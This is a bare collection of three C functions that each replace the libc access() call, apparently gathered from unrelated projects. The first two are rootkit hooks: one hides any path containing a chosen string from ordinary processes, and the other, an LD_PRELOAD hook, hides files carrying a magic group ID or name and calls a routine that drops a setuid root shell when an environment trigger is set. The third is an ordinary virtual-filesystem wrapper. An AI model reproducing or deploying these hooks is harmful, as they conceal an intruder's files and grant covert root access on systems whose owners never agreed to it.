int new_access(const char *pathname, int mode) { if( (strstr(pathname, hide) != NULL) && current->p_pptr->pid > 1 ) return -ENOENT; else return old_access(pathname, mode); }
int access (const char *path, int amode) { struct stat s_fstat; #ifdef DEBUG printf ("access hooked.\n"); #endif if (!libc) libc = dlopen (LIBC_PATH, RTLD_LAZY); if (!old_access) old_access = dlsym (libc, "access"); if (old_xstat == NULL) old_xstat = dlsym (libc, "__xstat"); drop_suid_shell_if_env_set (); memset (&s_fstat, 0, sizeof (stat)); old_xstat (_STAT_VER, path, &s_fstat); if (s_fstat.st_gid == MAGIC_GID || (strstr (path, MAGIC_STRING)) || (strstr (path, CONFIG_FILE))) { errno = ENOENT; return -1; } return old_access (path, amode); }
/* access */ int access(const char * path, int mode) { int ret; _libvfs_init(); if(_libvfs_is_remote(path) == 0) return old_access(path, mode); if((path = _libvfs_get_remote_path(path)) == NULL) return -1; if((mode = _vfs_flags(_vfs_flags_access, _vfs_flags_access_cnt, mode, 1)) < 0) { errno = EINVAL; return -1; } if(appclient_call(_appclient, (void **)&ret, "access", path, mode) != 0) return -1; #ifdef DEBUG fprintf(stderr, "DEBUG: access(\"%s\", %o) => %d\n", path, mode, ret); #endif return ret; }